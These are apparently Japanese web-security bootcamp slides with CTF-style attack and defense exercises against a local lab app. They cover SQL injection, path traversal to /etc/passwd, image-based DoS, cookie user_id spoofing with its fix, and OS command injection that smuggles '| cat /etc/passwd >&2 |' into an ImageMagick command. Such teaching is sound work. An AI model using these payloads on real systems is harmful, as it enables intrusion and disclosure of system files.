* FROM users WHERE comment LIKE '%hoge%' 検索結果のレコード Webサーバー 133 DBサーバー -
SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE
'%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 134 -
SQL Injectionの原理 ユーザーの入力を利用するSQLクエリ SELECT * FROM users WHERE comment LIKE
'%ユーザーの入力%' 「'」で囲われた部分は文字列として解釈 ユーザーの入力の途中に「'」が含まれていたら・・・? SELECT * FROM users WHERE comment LIKE '%' UNION SELECT * FROM users;-- '%' ここで文字列としては終わり 文字列ではない部分として解釈される 好きなクエリ文を追記できる 135 -
SQL Injectionによる攻撃例 情報漏えい UNION句を利用してレスポンスから情報取得 Blind SQL Injection 条件式を利用したエラー応答から情報取得する Error-based SQL
Injection 条件式を利用したSLEEPから情報取得する Time-based SQL Injection DoS SLEEP句の利用による処理の遅延 利用しているDBサーバーの種類や権限によっては、任意コード実行やファイル読み取りも可能に 136 -
演習解説 演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 6-1. サーバーに設置されたファイルをダウンロードする処理が含まれるエ ンドポイントをソースコード中から探してみましょう ①
「fastify.get」でソースコード中を文字列検索 ③ ファイルをダウンロードする処理であることを確認 ② 名前からファイル関連と思われる /uploads を選択 特定のファイルを取得 fastifyでエンドポイントが管理されている ダウンロード処理は取得なのでGETの可能性が高い 139 ファイルを送信 -
演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう ①
ダウンロードの際にどのファイルパスを参照しているか調査 filePathの後半部分は 「path」クエリパラメータでユーザーが設定可能 filePathにあるファイルを取得している → パスの後半を変更により /etc/passwd にアクセスする方法を考える 140 -
演習6: Path Traversalを悪用した攻撃 (実施時間: 15分) 演習解説 6-2.ファイルダウンロードのURLのパラメータを細工して、サーバーの /etc/passwd の内容を取得してみましょう パスの後半部分の変更で任意のパスにアクセスするにはどうすればいいの?
1つ上の階層に戻る「..」ディレクトリを活用し ルートディレクトリまで上がった上で好きなディレクトリを指定すれば良い ② http://localhost:5000/uploads?path=../../../../../../../../../../../../etc/passwd にアクセス ④ 以下のようなテキストファイルが取得できていることを確認 ③ ダウンロードされたファイルを開く 141 -
DoSの実例 プロフィール画像設定時に切り抜き処理のコマンドが実行されている ピクセル数が多い画像を生成してアップロード 例)1000億ピクセルのpng画像を生成 $ vips black black.png 1000000 1000000
--bands 3 → 切り抜き処理で膨大なCPUリソースを消費 147 -
演習7: OS Command Injectionを悪用した攻撃 (実施時間: 20分) 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう 7-2.
ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探 してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2 で出力を標準エラーに流すことができます 151 -
演習7: OS Command Injectionを悪用した攻撃 演習解説 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう ① http://localhost:5000/profile
にアクセス ④BurpSuiteのInterceptをonにする ② プロフィール画像のファイルを選択 ③ 適当な画像を選択 ⑤ プロフィールを更新 152 -
演習7: OS Command Injectionを悪用した攻撃 演習解説 7-1. 画像アップロードのフォームのサイズが指定されている部分を"|ls|"に変更 して、ファイルをアップロードしてみましょう ⑧ Interceptをoffにする
⑦ Forwardする ⑨ ブラウザにコマンド実行のエラーが表示される ⑥ リクエスト内のwidthの項目の値を「|ls|」に変更 コマンド実行時のエラーメッセージが表示されるということは? リクエストを書き換えてOSコマンドを実行できる場合 エラーに出力すれば実行結果を読み取れる! 153 -
演習解説 演習7: OS Command Injectionを悪用した攻撃 7-2. ソースコードを参照して7-1.でのエラーが起きた原因をソースコードから探 してみましょう 今回の入力の入り口である POST
/profile リクエストから辿っていきましょう ① ソースコードからPOSTの/profileリクエストを検索 ②エンドポイントの実装を調査(つづき) ②エンドポイントの実装を調査 フォームから入力した情報が同名の変数に代入 154 exec(OSコマンドを実行する関数)の中で widthやheightの変数が使われている → OSで実行されるコマンドの中に 任意のコードを入力できる状態 -
演習7: OS Command Injectionを悪用した攻撃 演習解説 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2
で出力を標準エラーに流すことができます 【コマンドを実行する方法】 7-2.で調査したソースコードより、赤字の部分に任意の文字列を差し込めることがわかる convert ${tmpSavePath} -gravity center -resize <width>x<height>^ -crop 1:1 ${savePath} ▶ 7-1. で分かった、エラー出力が閲覧できることも踏まえると以下が有効 convert ${tmpSavePath} -gravity center -resize | 実⾏したいコマンド >&2 | x^ -crop 1:1 ${savePath} 155 -
演習解説 演習7: OS Command Injectionを悪用した攻撃 7-3. 【発展】実行したコマンドによる出力結果をユーザーが閲覧する方法を探してみましょう ヒント1: ページ上のエラーには標準エラーに出力される内容が表示されます ヒント2:ls>&2
で出力を標準エラーに流すことができます 【実行の例】 7-1. の手順⑨にて、 実行したコマンドの内容が表示される 7-1. と同様に進め、手順⑥で | cat /etc/passwd >&2 | を入力 156 -
OS Command Injectionの原理 コマンドを実行する際の一部の値にユーザーの入力を利用する実装 Linuxでシェル機能を有効にしたコマンド実行の場合(例:child̲process.exec) シェルスクリプトの構文が利用できる convert input.png -gravity center
-resize 200xユーザーの入力値^ -crop 1:1 output.png |を含めた「ユーザーの入力値」を指定すると・・・ 158 -
OS Command Injectionの原理 コマンドを実行する際の一部の値にユーザーの入力を利用する実装 Linuxでシェル機能を有効にしたコマンド実行の場合(例:child̲process.exec) シェルスクリプトの構文が利用できる convert input.png -gravity center
-resize 200xユーザーの入力値^ -crop 1:1 output.png |を含めた「ユーザーの入力値」を指定すると・・・ convert input.png -gravity center -resize 200x|ls|^ -crop 1:1 output.png 1つ目のコマンド 2つ目のコマンド 3つ目のコマンド ユーザーの指定したコマンドが実行されてしまう 159 -
OS Command Injectionの実装例 コマンドを実行する関数にユーザー入力を利用するケース (文字列結合など) 160 PHP: system("ユーザーの入力") exec("ユーザーの入力") passthru("ユーザーの入力")
Java: Runtime.getRuntime().exec("ユーザーの入力") Node.js: child̲process.spawn("ユーザーの入力") child̲process.exec("ユーザーの入力") Ruby: exec("ユーザーの入力") system("ユーザーの入力") -
問題について 問題は2種類 164 攻撃(Attack) 防御(Defense) 脆弱性を悪用して秘密のFlagを 取得・送信することで ポイントを獲得できる問題 悪用可能な脆弱性を修正し、 リポジトリにコミット
講師に確認をしてもらうことで ポイントを獲得できる問題 AIは使用せずに考えてください AIは自由に利用できます -
問題について ü付与ポイントは下記の通りです attack: 問題により100-200 pts [点数が低い問題ほど簡単になっています] defense(一部問題のみ): 適切な修正が行われている場合: 100 pts
修正が不完全な場合: 50 pts 正しく動かない場合: 0 pts üChallengeごとに番号が振られていますがどの順番で解いても構いません üChallenge内のattackやdefenseにも解くべき順番に指定はありません ü各問題でその問題が解けたチーム数を確認できます 多くのチームが解けた問題の方が難易度が低いかもしれません ü問題が難しいと思ったら無理せず別の問題を解いてみましょう 171 -
Flagについて üFlagの形式は問題ごとに指定がない限り、 ctfRED{[¥x20-¥x7E]+} ({}内は表 示可能な1文字以上のASCII文字)です üdummy{…} といったダミーのFlagが表示されることがありますが、本物 ではないことに注意してください ü配布されたソースコード中では、本物のFlagがマスクされています üFlagは送信フォームから何回送信してもポイントが減ることはありませんが、
推測が困難な文字列になっています ü皆さんの進捗具合を確認したいので、Flagはなるべく溜め込まずに提出をお願 いします 176 -
チュートリアル問題(攻撃編):Flagの場所の確認 まずはソースコード中からフラグが表示される場所を探す Docker Composeの設定ファイル 1. Docker Composeの設定ファイルに FLAG環境変数が定義されていることを確認 POINT: 基本的にどの問題も環境変数でフラグを定義しているので
何から始めてよいか分からない時はフラグから逆算するのがおすすめ。 FLAG環境変数が定義 (これはダミーのフラグ。実際のサーバーに は本物のフラグが入っている) fortune/compose.yaml DBの初期データを作成する関数 2. DBの初期データを作成する処理で usersテーブルにおいてadminユーザーを作成し flagカラムにFLAG環境変数を登録していることを確認 178 usersテーブルにadminユーザーを作成 flagカラムにFLAG環境変数の内容を登録 fortune/src/database/seeders/UserSeeder.php -
チュートリアル問題(攻撃編):脆弱性の発見 フラグが表示される箇所が処理される過程に脆弱性がないか考える 1. マイページ画面のエンドポイントである「/」の実装が UserControllerのindex関数にあることを確認 エンドポイントのルーティング設定ファイル エンドポイントのパスと呼び出す関数の場所が定義 POINT: 怪しい画面やAPIがある場合、脆弱性の特定のため そのエンドポイントの実装を深掘りするのがおすすめ
fortune/src/routes/web.php UserControllerクラスのindex関数 2. Index関数において、ユーザーを検索する際に Userのget̲login̲user̲id()関数を使用していることを確認 User::get̲login̲user̲id()よりユーザーIDを取得 ユーザーIDをもとにしてユーザーを検索 fortune/src/app/Http/Controllers/UserController.php 180 -
チュートリアル問題(攻撃編):脆弱性の発見 フラグが表示される箇所が処理される過程に脆弱性がないか考える エンドポイントのルーティング設定ファイル 3. get̲login̲user̲id()関数にて ユーザーIDを取得する際にリクエストのCookieから user̲idの値を取得していることを確認 user̲id にCookie の値を入れている
マイページ画面で開いた開発者ツール 4. Check 4で使ったブラウザの 開発者タブでCookieを確認すると user̲idに値が入っていることを確認 181 user̲id に 「2」の値が入っている -
Check 4: チュートリアル問題(防御編): ローカル上での動作確認 1. fortune の問題のあるディレクトリで、以下のDocker Composeコマンドを入力 $ docker
compose up ‒d --build 問題サーバーをローカル環境(自分のPC上)で起動 2. http://localhost:8000 にアクセスし、 Check2と同様にユーザー登録やマイページの表示が可能なことを確認 ログイン画⾯ マイページ ✔マイページの画面が表示できればOK 187 -
チュートリアル問題(防御編): 修正すべき問題の特定 ログイン時のセッションに紐づいたユーザーIDではなく、 リクエスト内で設定した user̲id を利用しているのが問題。 「/」にアクセスした際のリクエスト リクエスト送信時の user̲id を
書き換えるだけで、なりすましが可能 →ログイン時のセッションに紐づいたユーザーIDを使うようにする 188 -
参考: コードの修正 [AIを使わずにやる場合] user̲idをログイン時にセッションに保存し、参照時はセッションから取得するように修正する。 具体的には、Userクラスの以下2点を修正。 ユーザーID取得処理: get̲login̲user̲id() セッションからuser̲idを取得するように変更 ユーザーID取得時にCookieからuser̲idを読み取っている ログイン処理:
login() UserControllerでのUser::login()の呼び出し fortune/src/app/Http/Controllers/UserController.php セッションにuser̲idを保存するように変更 user̲idをCookieに保存している 返り値がCookieに保存されている 190 fortune/src/app/Http/Controllers/UserController.php fortune/src/app/Http/Controllers/User.php ✔ 上記2箇所のコードが修正できたらOK -
Check 6: ローカル上での動作確認: ローカル上での動作確認 1. Check 3 で 動作させたコンテナを終了 $
docker compose down 2. コンテナを再起動 $ docker compose up ‒d --build ※ docker compose restart コマンドでは再ビルドがされないため、 こちらの手順で再起動してください 3. http://localhost:8000 にアクセスし、以下2点を確認 • ユーザー登録やマイページの表示が可能なこと • Cookieのuser̲idを変えてもマイページの表示に変化がないこと ✔ 上記2箇所のコードが修正できたらOK 191 -
Check 7: チュートリアル問題(防御編): 修正の提出 bootcamp-review ワークフローにて採点依頼を行ってください ①各チームのチャンネルにて、 Slackのメッセージ入力部分に /bootcamp-review を途中まで入力すると
ワークフローが表示されるのでクリックします ②採点依頼の入力フォームが出るので 問題名を選択して送信してください。 ③送信すると「依頼しました」というメッセージが表示されます。 しばらくすると採点者がこのスレッドに採点結果をお返しします。 mainブランチのみが採点対象であることに注意してください ✔ 修正を提出できたらOK! 後は講師の採点をお待ちください -
Appendix 2. curlコマンドの使い方 ターミナルからHTTPリクエストを送信できるツール # Cookieヘッダを設定してリクエスト $ curl -H 'Cookie:
user̲id=1' http://localhost:8000/ # フォームの送信 $ curl -X POST -d 'param=1¶m2=hoge' http://example.com/ # ファイルをアップロード $ curl -X POST -F upfile=@/path/to/sample.txt http://example.com/upload 202 -
Appendix 2. curlコマンドの使い方 PythonのHTTPクライアントライブラリ $ python3 -m pip install requests
import requests r = requests.get('http://example.com') print(r.text) r = requests.post('http://example.com', data={'param1': 'value1'}, headers={'Cookie': 'hoge=fuga'}) print(r.text) 203 -
Appendix 3. Chrome開発者ツールの使い方 Option + Command + I で起動 「ソース」タブ
現在のページの表示に必要な HTML、JS、CSSを閲覧できる JSの場合には行番号をクリックす ることでブレークポイントを設置 して各変数の値などを確認可能 204